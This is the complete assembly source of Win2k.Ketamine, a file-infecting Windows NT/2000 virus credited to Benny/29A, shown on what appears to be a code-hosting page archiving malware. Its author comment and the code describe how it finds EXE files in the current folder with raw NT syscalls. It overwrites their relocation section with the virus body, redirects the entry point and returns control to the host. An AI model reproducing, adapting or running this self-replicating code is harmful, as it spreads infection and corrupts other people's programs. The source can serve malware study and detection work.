MalwareSourceCode/LegacyWindows/Win2k/Win2k.Ketamine.asm
2020-10-16 22:28:58 +02:00

548 lines
12 KiB
NASM
Raw Permalink Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

COMMENT#
Ú¿
ÃÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅ´
ÃÅÅÅÅÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÅÅÅÅ´
ÃÅÅÅ´ Win2k.Ketamine ÃÅÅÅ´
ÃÅÅÅ´ by Benny/29A ÃÅÅÅ´
ÃÅÅÅÅÂÂÂÂÂÂÂÂÂÂÂÂÂÂÂÂÂÂÅÅÅÅ´
ÃÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅ´
ÀÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÙ
This is my next (very small) virus, specialised on Win2k machinez. It should be also
able to run under WinNT machinez, but I'm not sure, becoz I didn't test it. The virus
does not use any APIz, instead of that, its uses NT syscallz. The virus does not do
anything special apart of that, it can only infect all EXE filez in current folder
and does not manifest itself in any way. Infected filez have the same size, becoz
virus overwritez the relocation section. The virus should be compatible with newer
versionz of Windows OS'ez based on NT system. The only point of incompatibility is,
becoz I decided to not use ANY API, the code where the virus expect the fixed address
of NTDLL.dll modul loaded in process virtual memory. Virus searchez inside the NTDLL.dll
for syscall numberz and so it SHOULD be forward compatible. At least a bit...;-)
Here I have to thank Ratter, he inspired me a lot with his Win2k.Joss. The functionality
of Win2k.Ketamine and Win2k.Joss is almost the same, I only recoded some of his code on my
own and added a few new ideaz, which should make Ketamine more compatible with Windows,
rather than Joss. I have to say, that he inspired me a lot, but the code is not ripped. I
also disassembled NTDLL.dll and NTOSKRNL.EXE and found the same resultz as him, surprisely ;-D
But ofcoz, I decided to not discover the America again and so I used some of his code in
my virus.
The virus was coded only to show that something is possible, not to make high-spreading virus.
Enjoy it!
(c)oded in August, 2001
Czech Republic.
#
.386p
.model flat,stdcall
locals
include win32api.inc
include useful.inc
include mz.inc
include pe.inc
invoke macro api ;macro for API callz
extrn api:PROC
call api
endm
unicode_string struc
us_length dd ? ;length of the string
us_pstring dd ? ;ptr to string
unicode_string ends
path struc
p_path dw MAX_PATH dup (?) ;maximal length of path in unicode
path ends
object_attributes struc
oa_length dd ? ;length of structure
oa_rootdir dd ?
oa_objectname dd ? ;name of object
oa_attribz dd ? ;attributez of the object
oa_secdesc dd ?
oa_secqos dd ?
object_attributes ends
pio_status struc ;status structure
ps_ntstatus dd ?
ps_info dd ?
pio_status ends
.data
db ? ;some data
.code
_Start: pushad
gdelta = $+5 ;delta offset
@SEH_SetupFrame <jmp end_seh>
mov edx,cs
xor dl,dl
jne end_seh ;must be under winNT/2k!
mov ebp,[esp+4]
call get_syscalls ;get numberz of all needed syscallz
Start Proc
local uni_string:unicode_string
local u_string:path
local object_attr:object_attributes
local io_status:pio_status
local dHandle:DWORD
local WFD:WIN32_FIND_DATA
mov [uni_string.us_length],80008h ;length of the string
lea edi,[u_string]
mov [uni_string.us_pstring],edi ;set the pointer
call @qm
dw '\','?','?','\' ;initial string of the object
@qm: pop esi
movsd
movsd ;save it
mov esi,fs:[18h]
mov esi,[esi+30h]
mov esi,[esi+10h]
add esi,24h
mov esi,[esi+4] ;ESI = current folder
xor ecx,ecx
l_copy: lodsw
inc ecx
stosw ;append it
test eax,eax
jne l_copy
dec ecx
lea edi,[uni_string]
shl ecx,1
add cx,[edi]
mov ax,cx
shl ecx,16
mov cx,ax
mov [edi],ecx ;save the new length
xor ecx,ecx ;initialize the structure ...
lea eax,[uni_string]
lea edi,[object_attr]
mov [edi.oa_length],24
and [edi.oa_rootdir],ecx
mov [edi.oa_objectname],eax
mov [edi.oa_attribz],40h
and [edi.oa_secdesc],ecx
and [edi.oa_secqos],ecx
push 4021h
push 3h
lea eax,[io_status]
push eax
push edi
push 100001h
lea ebx,[dHandle]
push ebx
call NtOpenFile ;open the current folder
mov ebx,[ebx]
xor ecx,ecx
f_loop: push ecx
xor eax,eax
push eax
call @p1
dd 0A000Ah ;length of the string
dd ? ;ptr to string
@p1: pop esi
call @exe
dw '<','.','E','X','E' ;string
@exe: pop dword ptr [esi+4] ;save the ptr
jecxz @1st
xor esi,esi
@1st: push esi
push 1
push 3
push MAX_PATH*2
lea edx,[WFD]
push edx
lea edx,[io_status]
push edx
push eax
push eax
push eax
push ebx
mov eax,12345678h
NtQDF = dword ptr $-4
lea edx,[esp]
int 2Eh ;NtQueryDirectoryFile
add esp,4*11 ;correct the stack
pop ecx
test eax,eax
jne e_loop ;quit if no more file
push dword ptr [uni_string] ;save the length
lea esi,[WFD] ;WIN32_FIND_DATA structure
lea edi,[uni_string] ;the filename
call infect_file ;infect the file
pop dword ptr [uni_string] ;restore the length
inc ecx
jmp f_loop ;find next file
e_loop: push ebx
call NtClose ;close the directory
leave
end_seh:@SEH_RemoveFrame
popad
extrn ExitProcess:PROC
push cs
push offset ExitProcess
original_ep = dword ptr $-4
retf ;jump to host!
Start EndP
NtClose:mov eax,12345678h
NtC = dword ptr $-4
lea edx,[esp+4]
int 2Eh ;close the handle
ret 4
NtOpenFile:
mov eax,12345678h
NtOF = dword ptr $-4
lea edx,[esp+4]
int 2Eh ;open the object
ret 4*6
infect_file Proc
local object_attr:object_attributes
local io_status:pio_status
local fHandle:DWORD
local sHandle:DWORD
local sOffset:DWORD
local bytez:DWORD
local sOffset2:QWORD
pushad
@SEH_SetupFrame <jmp if_end>
movzx edx,word ptr [edi]
add edx,[edi+4]
push edi
mov edi,edx ;EDI - end of string
mov ecx,[esi+3Ch] ;size of filename
push ecx
lea esi,[esi+5Eh] ;filename
rep movsb ;copy the string
pop ecx
pop edi
add cx,[edi]
mov ax,cx
shl ecx,16
mov cx,ax
mov [edi],ecx ;size of path+filename
xchg eax,edi
xor ecx,ecx ;initialize the structure...
lea edi,[object_attr]
mov [edi.oa_length],24
and [edi.oa_rootdir],ecx
mov [edi.oa_objectname],eax
mov [edi.oa_attribz],40h
and [edi.oa_secdesc],ecx
and [edi.oa_secqos],ecx
push 4060h
push 3h
lea ecx,[io_status]
push ecx
push edi
push 100007h
lea ebx,[fHandle]
push ebx
call NtOpenFile ;open the file
test eax,eax
jne if_end
mov ebx,[ebx]
xor eax,eax
push ebx
push 8000000h
push PAGE_READWRITE
push eax
push eax
push 0F0007h
lea ebx,[sHandle]
push ebx
mov eax,12345678h
NtCS = dword ptr $-4
mov edx,esp
int 2Eh ;NtCreateSection
add esp,4*7 ;correct stack
test eax,eax
jne if_end2
mov ebx,[ebx]
lea edx,[bytez] ;initialize some variablez
xor eax,eax
and [sOffset],eax
and [edx],eax
and dword ptr [sOffset2],eax
and dword ptr [sOffset2+4],eax
push 4
push eax
push 1
push edx
lea edx,[sOffset2]
push edx
push eax
push eax
lea esi,[sOffset]
push esi
push -1
push ebx
mov eax,12345678h
NtMVOS = dword ptr $-4
mov edx,esp
int 2Eh ;NtMapViewOfSection
add esp,4*10
test eax,eax
jne if_end3
mov ebx,[esi] ;EBX = start of memory-mapped file
mov esi,[ebx.MZ_lfanew]
add esi,ebx
mov eax,[esi]
add eax,-IMAGE_NT_SIGNATURE
jne if_end4 ;must be PE file
;discard not_executable and system filez
cmp word ptr [esi.NT_FileHeader.FH_Machine],IMAGE_FILE_MACHINE_I386
jne if_end4
mov ax,[esi.NT_FileHeader.FH_Characteristics]
test ax,IMAGE_FILE_EXECUTABLE_IMAGE
je if_end4
test ax,IMAGE_FILE_DLL
jne if_end4
test ax,IMAGE_FILE_SYSTEM
jne if_end4
mov al,byte ptr [esi.NT_FileHeader.OH_Subsystem]
test al,IMAGE_SUBSYSTEM_NATIVE
jne if_end4
movzx eax,word ptr [esi.NT_FileHeader.FH_NumberOfSections]
dec eax
test eax,eax
je if_end4
imul eax,eax,IMAGE_SIZEOF_SECTION_HEADER
movzx edx,word ptr [esi.NT_FileHeader.FH_SizeOfOptionalHeader]
lea edi,[eax+edx+IMAGE_SIZEOF_FILE_HEADER+4]
add edi,esi
lea edx,[esi.NT_OptionalHeader.OH_DataDirectory.DE_BaseReloc.DD_VirtualAddress]
mov eax,[edx]
test eax,eax
je if_end4
cmp eax,[edi.SH_VirtualAddress]
jne if_end4
cmp [edi.SH_SizeOfRawData],virus_end-_Start
jb if_end4 ;is it large enough?
pushad
xor eax,eax
mov edi,edx
stosd
stosd
popad ;erase relocs record
;align the section size
mov eax,virus_end-_Start
cmp eax,[edi.SH_VirtualSize]
jb o_vs
mov ecx,[esi.NT_OptionalHeader.OH_SectionAlignment]
cdq
div ecx
test edx,edx
je o_al
inc eax
o_al: mul ecx
mov [edi.SH_VirtualSize],eax
o_vs: push ebp ;save EBP
call idelta ;get delta offset
idelta: pop ebp
push dword ptr [ebp + original_ep - idelta]
mov eax,[esi.NT_OptionalHeader.OH_AddressOfEntryPoint]
push dword ptr [edi.SH_VirtualAddress]
pop dword ptr [esi.NT_OptionalHeader.OH_AddressOfEntryPoint]
mov [ebp + original_ep - idelta],eax
mov eax,[esi.NT_OptionalHeader.OH_ImageBase]
add [ebp + original_ep - idelta],eax
;set saved_entrypoint variable
pushad
mov edi,[edi.SH_PointerToRawData]
add edi,ebx
lea esi,[ebp + _Start - idelta]
mov ecx,(virus_end-_Start+3)/4
rep movsd ;overwrite relocs by virus body
popad
pop dword ptr [ebp + original_ep - idelta]
;restore used variablez
or dword ptr [edi.SH_Characteristics],IMAGE_SCN_MEM_WRITE
pop ebp ;restore EBP
if_end4:push ebx
push -1
mov eax,12345678h
NtUVOS = dword ptr $-4
mov edx,esp
int 2Eh ;NtUnmapViewOfSection
add esp,4*2
if_end3:push [sHandle]
call NtClose ;close the section
if_end2:push [fHandle]
call NtClose ;close the file
if_end: @SEH_RemoveFrame
popad
ret
infect_file EndP
get_syscalls Proc
mov esi,77F80000h ;base of NTDLL.dll
mov edx,[esi.MZ_lfanew]
add edx,esi
mov ebx,[edx.NT_OptionalHeader.OH_DirectoryEntries.DE_Export.DD_VirtualAddress]
add ebx,esi
mov ecx,[ebx.ED_NumberOfNames]
mov edx,[ebx.ED_AddressOfNames]
add edx,esi
xor eax,eax
c_find: pushad
add esi,[edx+eax*4]
push esi
@endsz
mov edi,esi
pop esi
sub edi,esi
call CRC32 ;calculate CRC32 of the API
push 6 ;number of syscallz
pop ecx
call @callz
dd 09ECA4E0Fh ;NtOpenFile
dd 0D5494178h ;NtQueryDirectoryFile
dd 0B964B7BEh ;NtClose
dd 03F2482E6h ;NtCreateSection
dd 010710614h ;NtMapViewOfSection
dd 0864CF09Bh ;NtUnmapViewOfSection
@callz: pop edx
c_look: cmp [edx-4+(ecx*4)],eax
je got_call
loop c_look
c_out: popad
inc eax
loop c_find
ret
got_call:
mov edx,[ebx.ED_AddressOfOrdinals]
mov esi,[esp.Pushad_esi]
add edx,esi
mov eax,[esp.Pushad_eax]
movzx eax,word ptr [edx+eax*2]
mov edx,esi
add edx,[ebx.ED_AddressOfFunctions]
mov eax,[edx+eax*4]
add eax,esi
mov eax,[eax+1] ;get number of the syscall
lea edx,[ebp + _Start - gdelta]
add edx,[ebp + sys_addr-4+ecx*4 - gdelta]
mov [edx],eax ;save it
jmp c_out
get_syscalls EndP
sys_addr: ;where to save syscall numberz...
dd offset NtOF-_Start
dd offset NtQDF-_Start
dd offset NtC-_Start
dd offset NtCS-_Start
dd offset NtMVOS-_Start
dd offset NtUVOS-_Start
CRC32: push ecx ;procedure for calculating CRC32s
push edx ;at run-time
push ebx
xor ecx,ecx
dec ecx
mov edx,ecx
NextByteCRC:
xor eax,eax
xor ebx,ebx
lodsb
xor al,cl
mov cl,ch
mov ch,dl
mov dl,dh
mov dh,8
NextBitCRC:
shr bx,1
rcr ax,1
jnc NoCRC
xor ax,08320h
xor bx,0EDB8h
NoCRC: dec dh
jnz NextBitCRC
xor ecx,eax
xor edx,ebx
dec edi
jne NextByteCRC
not edx
not ecx
pop ebx
mov eax,edx
rol eax,16
mov ax,cx
pop edx
pop ecx
ret
signature db 0,'WinNT.Ketamine by Benny/29A',0
virus_end:
End _Start